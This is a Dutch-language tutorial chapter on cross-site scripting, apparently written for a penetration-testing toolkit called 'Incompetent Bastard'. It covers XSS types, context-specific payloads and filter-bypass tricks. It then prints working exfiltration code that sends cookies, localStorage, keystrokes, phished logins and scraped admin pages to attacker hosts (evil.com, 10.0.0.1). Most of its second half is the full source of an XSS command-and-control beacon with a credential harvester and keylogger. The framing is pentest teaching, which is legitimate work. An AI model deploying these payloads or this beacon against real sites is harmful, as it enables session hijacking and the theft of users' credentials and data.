Cross-Site Scripting (XSS)
Waarin we ontdekken dat een taal die in tien dagen werd geschreven nu de sleutel tot het koninkrijk bewaakt, en hoe fluisterende scripts op drukke feesten de boel op stelten zetten.
4.1 De taal die niemand serieus nam
In mei 1995, terwijl de rest van de wereld zich druk maakte over Windows 95 en de vraag of het internet een rage was die wel zou overwaaien, zat een man genaamd Brendan Eich bij Netscape tien dagen lang als een bezetene te programmeren. Het resultaat was een scripttaal die aanvankelijk Mocha heette, daarna LiveScript, en uiteindelijk JavaScript – niet omdat het iets met Java te maken had, maar omdat de marketing- afdeling dacht dat de naam wel lekker zou verkopen.
Tien dagen. Laat dat even bezinken.
De meeste mensen hebben tien dagen nodig om een IKEA-kast in elkaar te zetten. Of om te beslissen welke kleur ze de badkamer willen verven. Brendan Eich bouwde in die tijd een programmeertaal die nu letterlijk het zenuwstelsel is van elke website die je bezoekt. Elke knop waar je op klikt, elk formulier dat je invult, elke animatie die je irriteert – het draait allemaal op die haastige, wanhopige tien dagen code.
En hier wordt het interessant: die taal, geboren in haast en opgegroeid in chaos, is nu verantwoordelijk voor het verwerken van je bankgegevens, je medische dossiers, je belastingaangiftes. Het is alsof je ontdekt dat het vliegtuig waar je in zit is ontworpen door iemand die er een lang weekend voor had.
Cross-Site Scripting – XSS voor vrienden – is wat er gebeurt wanneer een aanvaller erin slaagt om zijn eigen JavaScript-code uit te voeren in de browser van iemand anders. Stel je het zo voor: je bent op een druk feest. Iedereen praat door elkaar heen. En dan slaagt iemand erin om de barman ervan te overtuigen dat jij hebt gezegd dat hij al je drankjes op jouw rekening moet zetten. De barman gelooft het, want het kwam via het juiste kanaal – via de website die je vertrouwt.
Dat is XSS in een notendop. De website vertrouwt de input. De browser vertrouwt de website. En de gebruiker vertrouwt de browser. Het is een drietrapsraket van misplaatst vertrouwen.
IB Tip: XSS staat al jaren in de OWASP Top 10 en is een van de meest voorkomende kwetsbaarheden op het web. Het feit dat het zo vaak voorkomt na meer dan twintig jaar is eigenlijk een beschamende zaak voor de hele industrie.
4.2 De drie smaken van ellende: typen XSS
XSS komt in drie varianten, zoals een onprettig assortiment bonbons waar je niet om hebt gevraagd. Elke variant heeft zijn eigen karakter, zijn eigen methode van overleven, en zijn eigen manier om je dag te verpesten.
4.2.1 Reflected XSS – de echo-aanval
Reflected XSS is de eenvoudigste vorm, en tegelijkertijd de meest alomtegenwoordige. Het werkt als volgt: een aanvaller stopt kwaadaardige code in een URL, stuurt die URL naar het slachtoffer, en de server stuurt de code braaf terug als onderdeel van de pagina.
Stel je een zoekfunctie voor. Je zoekt naar “katten” en de pagina zegt: “Je zocht naar: katten.” Prachtig. Maar wat als je zoekt naar iets anders?
https://example.com/zoek?q=<script>alert('XSS')</script>
En de server antwoordt met:
<p>Je zocht naar: <script>alert('XSS')</script></p>De browser ziet het <script>-element, haalt zijn
schouders op, en voert het uit. Zo hoort het immers. De server zei dat
het moest. Wie is de browser om te twijfelen?
Het “reflected” deel van de naam verwijst naar het feit dat de payload wordt weerkaatst door de server – als een tennisbal die je tegen een muur gooit. De aanvaller gooit, de server kaatst, en de browser van het slachtoffer vangt. Alleen is het geen tennisbal maar een granaat.
De truc is dat het slachtoffer op een link moet klikken. Dat klinkt als een obstakel, maar mensen klikken overal op. We klikken op links in e-mails van “banken” die we niet hebben. We klikken op links die beloven dat we de vijfhonderdste bezoeker zijn. We klikken op links omdat het dinsdag is en we ons vervelen.
Voorbeeld – reflected XSS in een zoekparameter:
<!-- Server-side template die input niet encodeert -->
<h2>Zoekresultaten voor: <?= $_GET['q'] ?></h2>GET /zoek?q=<img src=x onerror=alert(document.cookie)> HTTP/1.1
Host: kwetsbare-site.nl
De response bevat dan:
<h2>Zoekresultaten voor: <img src=x onerror=alert(document.cookie)></h2>De browser probeert braaf een afbeelding te laden van x,
dat mislukt (vanzelf- sprekend), de onerror handler vuurt,
en plots zie je je cookies op het scherm.
Context is allesbepalend. Dezelfde payload werkt compleet anders afhankelijk van waar de input terechtkomt in de HTML. In een HTML-element context heb je andere escape-karakters nodig dan in een attribuut of in een JavaScript-string. Dit is een punt waar veel ontwikkelaars de mist in gaan: ze encoderen voor de verkeerde context, of ze denken dat encoding in een context ook werkt in een andere.
<!-- HTML context: < en > moeten geencodeerd -->
<p>Hallo <?= htmlspecialchars($naam) ?></p>
<!-- Attribuut context: " moet geencodeerd -->
<input value="<?= htmlspecialchars($naam, ENT_QUOTES) ?>">
<!-- JavaScript context: heel andere encoding nodig -->
<script>var naam = "<?= $naam ?>";</script>
<!-- ^ GEVAARLIJK als $naam = "; alert(1);// -->4.2.2 Stored XSS – de sluipmoordenaar
Als reflected XSS een briefbom is, dan is stored XSS een landmijn. De payload wordt opgeslagen op de server – in een database, een bestand, een logboek – en elke keer dat iemand de pagina bezoekt, gaat het ding af.
Denk aan een gastenboek, een forum, een beoordelingssectie. De aanvaller plaatst een bericht:
Geweldige service! ★★★★★
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
Het bericht wordt opgeslagen. De volgende keer dat iemand de beoordelingspagina bezoekt – de eigenaar van de site, een willekeurige klant, maakt niet uit – voert hun browser het script uit. Zonder dat ze op een link hoefden te klikken. Zonder dat ze iets verdachts deden. Ze bezochten gewoon een webpagina.
De impact van stored XSS is exponentieel groter dan reflected XSS. Een stored XSS op een populaire pagina kan duizenden gebruikers raken. Het is het verschil tussen een sniper die een voor een schiet en een landmijn die iedereen raakt die er overheen loopt.
Voorbeeld – stored XSS in een commentaarveld:
// Aanvaller plaatst dit als "reactie":
Goede post!<script>
var img = new Image();
img.src = "https://evil.com/log?cookie=" + document.cookie;
</script># Server-side: sla op zonder sanitization
@app.route('/comment', methods=['POST'])
def add_comment():
comment = request.form['comment']
db.session.add(Comment(text=comment)) # Geen filtering!
db.session.commit()
return redirect('/post/1')<!-- Template: toon zonder encoding -->
{% for comment in comments %}
<div class="comment">{{ comment.text | safe }}</div>
<!-- Die | safe filter is hier het probleem -->
{% endfor %}Elke bezoeker van /post/1 stuurt nu onbewust zijn
cookies naar evil.com.
IB Tip: Bij een pentest is stored XSS altijd een grotere bevinding dan reflected XSS. De reden is simpel: het slachtoffer hoeft niks te doen behalve de pagina bezoeken. Er is geen phishing-link nodig, geen social engineering. De kwetsbaarheid wacht geduldig op zijn slachtoffers.
4.2.3 DOM-based XSS – de onzichtbare
DOM-based XSS is de derde variant, en in sommige opzichten de meest verraderlijke. Bij reflected en stored XSS gaat de kwaadaardige input via de server. Bij DOM-based XSS komt de server er niet eens aan te pas. Het gebeurt volledig in de browser, in het Document Object Model – die boomstructuur waar JavaScript zo dol op is.
De kwetsbaarheid ontstaat wanneer JavaScript een waarde leest uit een bron die de aanvaller controleert (een “source”) en die waarde doorgeeft aan een functie die code kan uitvoeren (een “sink”).
Veelvoorkomende sources:
| Source | Beschrijving |
|---|---|
document.URL |
De volledige URL van de pagina |
document.referrer |
De URL van de vorige pagina |
location.hash |
Het fragment na # in de URL |
location.search |
De query string na ? |
window.name |
De naam van het window object |
postMessage data |
Data ontvangen via cross-origin messaging |
Veelvoorkomende sinks:
| Sink | Risico |
|---|---|
document.write() |
Schrijft direct HTML naar de pagina |
innerHTML |
Parseert en rendert HTML |
eval() |
Voert een string uit als JavaScript |
setTimeout(string) |
Voert een string uit als JavaScript |
location.href |
Kan javascript: protocol accepteren |
jQuery.html() |
jQuery’s innerHTML-equivalent |
Voorbeeld – DOM-based XSS via location.hash:
<div id="welkom"></div>
<script>
// Lees de naam uit de URL hash
var naam = decodeURIComponent(location.hash.substring(1));
document.getElementById('welkom').innerHTML = 'Welkom, ' + naam;
</script>Bezoek nu:
https://example.com/pagina#<img src=x onerror=alert(1)>
Het fragment na # wordt nooit naar de server gestuurd.
De server logt niks. Een WAF ziet niks. Het gebeurt allemaal in de
browser, in stilte, als een dief die door het raam klimt terwijl de
beveiliger aan de voordeur staat.
Dit maakt DOM-based XSS bijzonder lastig om te detecteren. Server-side logging helpt niet. Web Application Firewalls die alleen het verkeer inspecteren, missen het volledig. Je hebt client-side analyse nodig, of een ontwikkelaar die daad- werkelijk nadenkt over hoe data door de DOM stroomt.
Een realistischer voorbeeld – DOM XSS via
postMessage:
// Pagina luistert naar postMessage events
window.addEventListener('message', function(event) {
// GEEN origin check! Iedereen mag een bericht sturen.
document.getElementById('notificatie').innerHTML = event.data;
});<!-- Aanvaller's pagina -->
<iframe src="https://kwetsbare-site.nl/dashboard" id="target"></iframe>
<script>
// Wacht tot iframe geladen is, stuur dan payload
document.getElementById('target').onload = function() {
this.contentWindow.postMessage(
'<img src=x onerror=alert(document.cookie)>',
'*'
);
};
</script>IB Tip: Bij het testen op DOM-based XSS is de browser DevTools console je beste vriend. Zoek naar
innerHTML,document.write, enevalin de JavaScript-bestanden. Tools als Burp Suite’s DOM Invader kunnen ook helpen bij het automatisch identificeren van source-sink combinaties.
4.3 Payloads en context: het juiste gereedschap voor de juiste klus
Nu we de drie typen kennen, wordt het tijd om te praten over het echte handwerk: de payloads. Want XSS is contextgevoelig. Dezelfde payload die werkt in de ene situatie doet helemaal niks in een andere. Het is als proberen een schroef in te draaien met een hamer – technisch gezien gebruik je gereedschap, maar je bereikt er niks mee.
4.3.1 HTML context
Dit is de meest voorkomende situatie: je input belandt direct in de HTML-body, tussen tags.
<p>Welkom, AANVALLER_INPUT</p>Hier zijn de klassieke payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>De <script>-tag is de meest voor de hand liggende,
maar ook de meest gefilterde. Veel ontwikkelaars denken: “Als ik
<script> blokkeer, ben ik veilig.” Dat is net zoiets
als denken dat je veilig bent voor inbrekers als je de voordeur op slot
doet terwijl alle ramen open staan.
Er zijn honderden HTML-elementen met event handlers. Je hoeft er maar een te vinden die niet gefilterd is:
<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>Het <img src=x onerror=...> patroon is bijzonder
populair omdat het geen gebruikersinteractie vereist. De browser
probeert de afbeelding te laden, faalt, en vuurt het
onerror event. Automatisch. Betrouwbaar. Elke keer.
4.3.2 Attribuut context
Soms belandt je input in een HTML-attribuut:
<input type="text" value="AANVALLER_INPUT">Hier moet je eerst uit het attribuut breken:
" onfocus="alert(1)" autofocus="
Wat resulteert in:
<input type="text" value="" onfocus="alert(1)" autofocus="">Of je breekt uit de hele tag:
"><script>alert(1)</script>
<input type="text" value=""><script>alert(1)</script>">Als dubbele aanhalingstekens gefilterd zijn, probeer dan enkele:
' onfocus='alert(1)' autofocus='
Of als beide gefilterd zijn maar de context het toelaat, event handlers zonder aanhalingstekens:
x onfocus=alert(1) autofocus
4.3.3 JavaScript context
Dit is waar het echt lastig wordt. Je input zit in een JavaScript-string:
<script>
var zoekterm = "AANVALLER_INPUT";
// doe iets met zoekterm
</script>Hier hoef je geen nieuwe tag te injecteren. Je moet alleen uit de string breken:
"; alert(1); //
Resultaat:
<script>
var zoekterm = ""; alert(1); //";
// doe iets met zoekterm
</script>De // aan het einde maakt de rest een comment, zodat de
syntax geldig blijft.
Als de ontwikkelaar aanhalingstekens escaped met een backslash
(\"), kun je proberen om de backslash zelf te escapen:
\"; alert(1); //
Dit produceert:
<script>
var zoekterm = "\\"; alert(1); //";
</script>De \\ is nu een escaped backslash, niet een escaped
aanhalingsteken. De string eindigt bij het tweede ", en je
code wordt uitgevoerd.
Als je in een template literal zit (backticks), gebruik dan:
${alert(1)}
var bericht = `Welkom, ${alert(1)}`;4.3.4 URL context
Input die in een href of src attribuut
belandt:
<a href="AANVALLER_INPUT">Klik hier</a>Hier kun je het javascript: protocol gebruiken:
javascript:alert(1)
<a href="javascript:alert(1)">Klik hier</a>Sommige filters blokkeren javascript: maar vergeten
variaties:
javascript:alert(1)
JaVaScRiPt:alert(1)
java%0ascript:alert(1)
Die laatste gebruikt een URL-geencodeerde newline (%0a)
om het keyword te splitsen.
4.3.5 Filter bypass technieken
En hier komen we bij het kat-en-muisspel dat security zo fascinerend maakt. De verdedigers bouwen filters, de aanvallers omzeilen ze. Het is een wapenwedloop die al twintig jaar bezig is en die de verdedigers consequent verliezen.
Case variation:
<ScRiPt>alert(1)</sCrIpT>HTML is case-insensitive. JavaScript is dat niet, maar de tag-parser
wel. Als het filter zoekt naar <script> maar niet
naar <ScRiPt>, heb je een probleem.
Geneste tags (double encoding):
<scr<script>ipt>alert(1)</scr</script>ipt>Als het filter de binnenste <script> verwijdert,
blijft de buitenste over.
HTML entity encoding:
<img src=x onerror=alert(1)>Dat is alert(1) in HTML character references. De browser
decodeert ze voordat JavaScript ze verwerkt.
Zonder haakjes:
<img src=x onerror=alert`1`>
<img src=x onerror="window.onerror=alert;throw 1">De eerste gebruikt template literal syntax in plaats van haakjes. De tweede overschrijft de globale error handler en gooit dan een error.
Extern script laden:
<script src="http://10.0.0.1/xss.js"></script>Of dynamisch:
<img src=x onerror="s=document.createElement('script');
s.src='http://10.0.0.1/xss.js';
document.body.appendChild(s)">Dit is de meest krachtige variant: je hoeft niet je hele payload in de injectie te proppen. Je laadt gewoon een extern script dat zo lang en complex kan zijn als je wilt.
De polyglot – het Zwitsers zakmes:
Een polyglot is een payload die werkt in meerdere contexten tegelijk:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//
%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/
--!>\x3csVg/<sVg/oNloAd=alert()//>
Dit monster is ontworpen om te werken ongeacht de HTML-context waarin het belandt. Het is lelijk, het is onleesbaar, en het werkt vaker dan je zou willen.
IB Tip: Gebruik Burp Intruder met een XSS polyglot wordlist voor fuzzing. Begin met de simpele payloads en werk naar boven. Vaak is
<img src=x onerror=alert(1)>genoeg – ontwikkelaars vergeten event handlers veel vaker dan<script>tags.
4.4 IB Command:
web_xss_payloads
Incompetent Bastard bevat een verzameling bewezen XSS-payloads in het
command bestand web_xss_payloads. Dit is je spiekbriefje
tijdens een assessment – geordend van basis tot geavanceerd.
# Bestandslocatie:
# http/commands/web_xss_payloadsBasis payloads – de eerste test:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>Begin hier. Als een van deze werkt, heb je een triviale XSS gevonden en mag de ontwikkelaar zich schamen.
innerHTML bypass:
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>Belangrijk detail: <script> tags die via
innerHTML worden ingevoegd, worden niet uitgevoerd. Dat is
een bewuste beperking van de HTML-specificatie. Maar event handlers op
andere elementen werken wel prima. De specificatie is hier dus selectief
beschermend – een beetje zoals een uitsmijter die messentrekt
controleert maar pistolen laat passeren.
Event handlers – de oneindige lijst:
<div onmouseover="alert(1)">hover me</div>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>Er zijn tientallen event handlers in HTML. onerror,
onload, onfocus, onblur,
onmouseover, onmouseout, onclick,
onchange, oninput, ontoggle,
onstart – de lijst gaat maar door. Elk element dat een
event handler ondersteunt is een potentiele XSS-vector.
Tag en keyword bypass:
<ScRiPt>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert`1`>Encoding bypass:
<img src=x onerror=alert(1)>
javascript:alert(1)Zonder haakjes:
<img src=x onerror=alert`1`>
<img src=x onerror="window.onerror=alert;throw 1">Extern script laden:
<script src="http://10.0.0.1/xss.js"></script>
<img src=x onerror="s=document.createElement('script');
s.src='http://10.0.0.1/xss.js';
document.body.appendChild(s)">De vuistregel is: begin simpel, ga complexer als het nodig is. Als
<script> alert(1)</script> niet werkt, probeer
dan variaties. Als alle standaard-tags geblokkeerd zijn, probeer dan
encoding. En als je echt niks vindt, gebruik dan een fuzzer met een
volledige payload-lijst.
IB Tip: De
web_xss_payloadscommandfile is bedoeld als startpunt, niet als uitputtende lijst. De echte waarde zit in het begrijpen waarom elke payload werkt – welke filter omzeilt hij, welke context exploiteert hij. Gebruik het als referentie, niet als een blinde kopieermachine.
4.5 Cookie stealing: het kroonjuweel
Oké, we kunnen alert(1) laten zien. Heel indrukwekkend.
De klant zegt: “Ja, en? Er verscheen een pop-up. Wat is het echte
risico?”
Het echte risico is session hijacking. En dat begint bij cookies.
Cookies zijn die kleine stukjes data die websites in je browser opslaan om je te “onthouden.” Je session cookie is het bewijs dat je bent ingelogd. Als iemand die cookie heeft, kan hij doen alsof hij jij is. Zonder wachtwoord. Zonder twee- factorauthenticatie. Gewoon door de cookie in zijn eigen browser te plakken.
4.5.1 De klassieke methode: document.cookie
new Image().src = "http://10.0.0.1/steal?c=" + document.cookie;Dat is het. Een regel. Die ene regel kan een bedrijf op zijn knieen brengen.
Het werkt zo: JavaScript maakt een nieuw Image object
aan. De browser probeert de “afbeelding” te laden van de URL, die de
cookies als parameter meestuurt. De server van de aanvaller ontvangt het
verzoek en slaat de cookies op. Het slachtoffer merkt niks – er is geen
pop-up, geen redirect, geen enkele visuele indicatie dat er iets mis
is.
Alternatief met fetch:
fetch("http://10.0.0.1/steal?c=" + document.cookie);Modernere syntax, zelfde effect. De fetch API stuurt een
HTTP-verzoek naar de server van de aanvaller.
4.5.2 Meer dan cookies: de complete plundering
Maar waarom stoppen bij cookies? Als je JavaScript kunt uitvoeren in iemands browser, kun je alles stelen wat de browser kan zien.
localStorage en sessionStorage:
fetch("http://10.0.0.1/steal?ls=" +
encodeURIComponent(JSON.stringify(localStorage)));
fetch("http://10.0.0.1/steal?ss=" +
encodeURIComponent(JSON.stringify(sessionStorage)));Veel moderne applicaties slaan tokens, gebruikersgegevens, en andere
gevoelige data op in localStorage. In tegenstelling tot
cookies worden deze niet automatisch meegestuurd met HTTP-verzoeken,
maar ze zijn wel volledig toegankelijk via JavaScript. En hier is het
pijnlijke: HttpOnly – de vlag die cookies beschermt tegen
JavaScript-toegang – bestaat niet voor localStorage.
Keylogger:
document.addEventListener('keydown', function(e) {
new Image().src = "http://10.0.0.1/log?k=" + e.key;
});Elke toetsaanslag die het slachtoffer maakt op de geinfecteerde pagina wordt verzonden naar de aanvaller. Wachtwoorden. Creditcardnummers. Persoonlijke berichten. Alles.
Credential phishing – de pagina vervangen:
document.getElementsByTagName("html")[0].innerHTML =
'<h1>Sessie verlopen</h1>' +
'<form action="http://10.0.0.1/phish" method="POST">' +
'<input name="user" placeholder="Username">' +
'<input name="pass" type="password" placeholder="Password">' +
'<button>Login</button></form>';De hele pagina wordt vervangen door een nep-loginformulier. De URL-balk toont nog steeds de originele, vertrouwde domeinnaam. Het slachtoffer ziet een “sessie verlopen” melding en voert argeloos zijn credentials in. Die gaan rechtstreeks naar de aanvaller.
CSRF via XSS – acties uitvoeren als het slachtoffer:
fetch("/admin/adduser", {
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "username=hacker&password=hacked&role=admin",
credentials: "include"
});XSS plus CSRF is een dodelijke combinatie. De
credentials: "include" zorgt ervoor dat de cookies van het
slachtoffer worden meegestuurd. De server denkt dat het slachtoffer zelf
het verzoek stuurt. Er wordt een admin-account aangemaakt. Game
over.
Authenticated content scraping:
var i = document.createElement('iframe');
i.src = '/admin/secret';
i.onload = function() {
fetch("http://10.0.0.1/exfil", {
method: "POST",
body: i.contentDocument.body.innerHTML
});
};
document.body.appendChild(i);Dit laadt een pagina die het slachtoffer mag zien (bijvoorbeeld een admin-pagina) in een onzichtbaar iframe, en stuurt de inhoud naar de aanvaller. Het slachtoffer merkt niks – het iframe is onzichtbaar en het laden gebeurt op de achtergrond.
IB Tip: Als
HttpOnlyis gezet op de session cookie, kun je die niet stelen viadocument.cookie. Maar dat betekent niet dat XSS onbruikbaar is. Je kunt nog steeds CSRF-aanvallen uitvoeren, credentials phishen, localStorage stelen, en keyloggen.HttpOnlyis een laag verdediging, niet de hele verdediging.
4.6 IB Command:
web_xss_steal
Het web_xss_steal command bestand bundelt alle
bovengenoemde exfiltratie-payloads in een handig overzicht. Dit is wat
je pakt als de klant vraagt: “Maar wat kan een aanvaller echt doen met
XSS?”
# Bestandslocatie:
# http/commands/web_xss_stealHet bestand bevat payloads voor:
- Cookie stealing – de klassieke
new Image().srcenfetch()methoden - localStorage/sessionStorage – voor applicaties die tokens client-side opslaan
- Keylogging – elke toetsaanslag vastleggen
- Credential phishing – de pagina vervangen met een nep-loginformulier
- CSRF via XSS – acties uitvoeren namens het slachtoffer
- Authenticated content scraping – data lezen waar het slachtoffer bij kan
De twee tips onderaan het bestand zijn cruciaal:
- Gebruik de
/x.jsbeacon van het IB lab voor automatische hooking (daar gaan we zo uitgebreid op in) HttpOnlycookies zijn niet via JavaScript te lezen – gebruik dan CSRF als alternatieve aanvalsvector
4.7 Het IB XSS Beacon Lab: je eigen command and control
Nu komen we bij het hart van dit hoofdstuk. Het onderdeel waar
Incompetent Bastard echt laat zien waar het voor staat. Vergeet die
simpele alert(1) demo’s – we gaan het hebben over een
volledig operationeel XSS command and control framework, ingebouwd in de
applicatie.
Waar andere tools je een payload laten genereren en je dan aan je lot overlaten, biedt IB een compleet dashboard voor het beheren van gehoekte browsers. Het is als het verschil tussen een hengel en een vissersboot met sonar: je kunt met allebei vissen, maar de een is duidelijk effectiever.
4.7.1 Architectuur: hoe de beacon werkt
Het XSS beacon systeem bestaat uit drie componenten:
- De beacon JavaScript (
/x.jsof/xxs.js) – dit is het script dat je injecteert via een XSS-kwetsbaarheid - De callback endpoints – Flask routes die data ontvangen en opslaan
- Het dashboard (
/dashboard/xxs) – een webinterface om alles te bekijken en te beheren
De hele architectuur zit in de xxs_bp blueprint
(meuk/flask/xxs.py) met bijbehorende database modellen in
meuk/flask/models.py.
De blueprint registratie:
xxs_bp = Blueprint('xxs_bp', __name__,
template_folder='html',
static_folder='static')4.7.2 De beacon: /x.js
Wanneer een slachtoffer een pagina bezoekt met een XSS-kwetsbaarheid
waar de beacon is geinjekteerd, wordt /x.js geladen. Dit
bestand is geen statisch JavaScript-bestand – het is een Flask route die
dynamisch JavaScript genereert.
@xxs_bp.route("/x.js", methods=["GET","POST"])
@xxs_bp.route("/xxs.js", methods=["GET", "POST"])
def xss_hooked():
ip = request.remote_addr
if ip != appdata.ikzelf:
ua = request.headers.get('User-Agent')
loc = request.headers.get('Referer')
md5 = hashlib.md5(str(ip+ua).encode())
hebben = db_xxs_cookies.query.filter_by(
ip=ip, agent=ua, md5=md5.hexdigest()
).first()
if hebben == None:
bevdb = db_xxs_hooked(
ip=ip, agent=ua, md5=md5.hexdigest()
)
db.session.add(bevdb)
db.session.commit()
pagina = render_template('xss.html',
localhost=appdata.localhost)
else:
pagina = render_template('xss-blanco.html',
localhost=appdata.localhost)
return pagina, 200, {
'Content-Type': 'text/javascript',
'Cache-Control': 'no-cache, no-store, must-revalidate',
'Pragma': 'no-cache',
'Expires': '0'
}Laten we dit stap voor stap ontleden.
Stap 1: Zelfherkenning. De route controleert of het
verzoek komt van appdata.ikzelf – het IP-adres van de
pentester zelf. Als jij je eigen beacon opvraagt, krijg je
xss-blanco.html terug, dat gewoon
alert(document.cookie) doet. Een handige test-modus. Als
het verzoek van iemand anders komt – een slachtoffer – krijgt die het
echte, kwaadaardige script.
Dit is een slim detail. Je wilt niet dat je eigen browser wordt gehoekt terwijl je aan het testen bent. Incompetent Bastard weet wie je bent en gedraagt zich anders.
Stap 2: Registratie. De route maakt een MD5-hash van
het IP-adres plus de User- Agent string. Als die combinatie nog niet in
de database staat, wordt er een nieuw db_xxs_hooked record
aangemaakt. Het slachtoffer is nu “gehoekt” – geregistreerd als een
actieve client.
Stap 3: Payload delivery. Het script dat wordt
teruggestuurd is de xss.html template, maar met
Content-Type: text/javascript – zodat de browser het als
JavaScript interpreteert, niet als HTML. De anti-cache headers zorgen
ervoor dat de browser het script elke keer opnieuw ophaalt, zodat
updates in het script direct effect hebben.
4.7.3 Wat de beacon doet: het JavaScript
De daadwerkelijke beacon JavaScript (uit xss.html) is
een meesterwerk van efficiëntie. In vijftig regels code doet het alles
wat je nodig hebt:
Module 1 – Cookie harvesting:
var i = new Image;
i.src = "{{localhost}}/xxs/cookies?data=" + document.cookie;Zodra het script laadt, stuurt het alle cookies naar het
IB-dashboard. De Image truc is oud maar betrouwbaar – het
werkt zelfs als CORS de fetch API blokkeert, want
afbeeldingsverzoeken zijn niet gebonden aan het same-origin beleid.
Module 2 – localStorage exfiltratie:
let data = JSON.stringify(localStorage);
let encodedData = encodeURIComponent(data);
fetch("{{localhost}}/xxs/localstorage?data=" + encodedData);Alles wat de applicatie heeft opgeslagen in localStorage
wordt geserialiseerd naar JSON, URL-geencodeerd, en naar het dashboard
gestuurd. Tokens, voorkeuren, gecachte data – alles.
Module 3 – Autocomplete credential harvesting:
var u = document.createElement("input");
u.type = "text";
u.autocomplete = "on";
u.style.position = "fixed";
u.style.opacity = "0";
var p = document.createElement("input");
p.type = "password";
p.autocomplete = "on";
p.style.position = "fixed";
p.style.opacity = "0";
body.append(u);
body.append(p);
setTimeout(function() {
fetch("{{localhost}}/xxs/gebruiker?u=" + u.value +
"&p=" + p.value)
}, 5000);Dit is schitterend sluw. Het script maakt onzichtbare invoervelden
aan met autocomplete="on". Sommige browsers vullen deze
automatisch in met opgeslagen credentials. Na vijf seconden wachten
(genoeg tijd voor autocomplete om zijn werk te doen) worden de waarden
naar het dashboard gestuurd.
Het is alsof je een blanco cheque op tafel legt en wacht tot iemand hem tekent.
Module 4 – Keylogger:
function logKey(event) {
fetch("{{localhost}}/xxs/keylogger?data=" + event.key);
}
document.addEventListener('keydown', logKey);Elke toetsaanslag wordt naar het dashboard gestuurd. Letter voor letter.
Module 5 – Click tracker:
function click(e) {
e = e || window.event;
var target = e.target || e.srcElement;
fetch("{{localhost}}/xxs/keylogger?data=\n\n<klik>" +
target + "</klik>");
}
document.addEventListener('click', click);Niet alleen toetsaanslagen, maar ook klikken worden gevolgd. Het target-element wordt meegezonden, zodat je op het dashboard kunt zien waar het slachtoffer op klikte.
4.7.4 De callback endpoints
Elk type data heeft zijn eigen endpoint:
Cookies: /xxs/cookies
@xxs_bp.route("/xxs/cookies", methods=["GET", "POST"])
def xss_cookies():
ip = request.remote_addr
if request.args.get('data') and ip != appdata.ikzelf:
loc = request.headers.get('Referer')
ua = request.headers.get('User-Agent')
md5 = hashlib.md5(request.args.get('data').encode())
hebben = db_xxs_cookies.query.filter_by(
ip=ip, agent=ua, md5=md5.hexdigest()
).first()
if hebben == None:
bevdb = db_xxs_cookies(
ip=ip, agent=ua, locatie=loc,
datum=vandaag, md5=md5.hexdigest(),
cookies=request.args.get('data')
)
db.session.add(bevdb)
db.session.commit()
return '[!] Tot ziens en bedankt voor de vis.', 200, {
'Content-Type': 'text/javascript',
'Access-Control-Allow-Origin': 'http://' +
(request.referrer if request.referrer
else request.remote_addr),
...
}Een paar dingen vallen op:
Deduplicatie via MD5. De hash van de cookie-data wordt opgeslagen. Als dezelfde cookies opnieuw binnenkomen (bijvoorbeeld bij een page refresh), worden ze niet dubbel opgeslagen. Slim.
CORS headers. De response bevat
Access-Control-Allow-Originmet het referrer-domein. Dit is nodig omdat de beacon cross-origin verzoeken stuurt – van het domein van het slachtoffer naar het IB-dashboard.Douglas Adams referentie. De response body is “[!] Tot ziens en bedankt voor de vis.” – een verwijzing naar The Hitchhiker’s Guide to the Galaxy. Zelfs in kwaadaardige JavaScript is er ruimte voor humor.
localStorage:
/xxs/localstorage
@xxs_bp.route("/xxs/localstorage", methods=["GET", "POST"])
def xss_localstorage():
ip = request.remote_addr
if request.args.get('data') and ip != appdata.ikzelf:
loc = request.headers.get('Referer')
ua = request.headers.get('User-Agent')
md5 = hashlib.md5(request.args.get('data').encode())
hebben = db_xxs_localstorage.query.filter_by(
ip=ip, agent=ua, md5=md5.hexdigest()
).first()
if hebben == None:
bevdb = db_xxs_localstorage(
ip=ip, agent=ua, locatie=loc,
datum=vandaag, md5=md5.hexdigest(),
localstorage=request.args.get('data')
)
db.session.add(bevdb)
db.session.commit()
...Zelfde patroon als de cookie endpoint. Data binnenkomt, dedupliceren, opslaan.
Keylogger:
/xxs/keylogger
@xxs_bp.route("/xxs/keylogger", methods=["GET", "POST"])
def xss_keylogger():
ip = request.remote_addr
if ip != '127.3.0.1':
loc = request.headers.get('Referer')
ua = request.headers.get('User-Agent')
data = request.args.get('data')
if data == '':
data = ' '
hebben = db_xxs_keylogger.query.filter_by(
ip=ip, agent=ua, locatie=loc
).first()
if hebben == None:
bevdb = db_xxs_keylogger(
ip=ip, agent=ua, locatie=loc,
datum=vandaag, toetsen=data
)
db.session.add(bevdb)
db.session.commit()
else:
bevdb = db_xxs_keylogger.query.get(hebben.id)
bevdb.toetsen = hebben.toetsen + data
db.session.commit()De keylogger endpoint is anders dan de anderen. In plaats van elke toetsaanslag als apart record op te slaan (wat de database zou laten exploderen), appendeert het nieuwe toetsen aan het bestaande record. De combinatie van IP, User-Agent, en Referer vormt de unieke identificatie van een sessie. Alles wat het slachtoffer typt op dezelfde pagina komt in een toenemend langer wordende string terecht.
Het veld heet toetsen – Nederlands voor “toetsen” of
“keys.” Het is een charming detail in een verder tamelijk verontrustend
stuk code.
C2 Commands:
/xxs/commands
@xxs_bp.route("/xxs/commands", methods=["GET", "POST"])
def xss_c2():
return '[!] Tot ziens en bedankt voor de vis.', 200, {
'Content-Type': 'text/javascript',
'Access-Control-Allow-Origin': 'http://' +
(request.referrer if request.referrer
else request.remote_addr),
...
}De C2 (Command and Control) endpoint is het mechanisme waarmee je
opdrachten kunt sturen naar gehoekte browsers. Het
db_xxs_commands model heeft een host veld
(standaard * voor alle hosts) en een opdracht
veld dat arbitrair JavaScript kan bevatten.
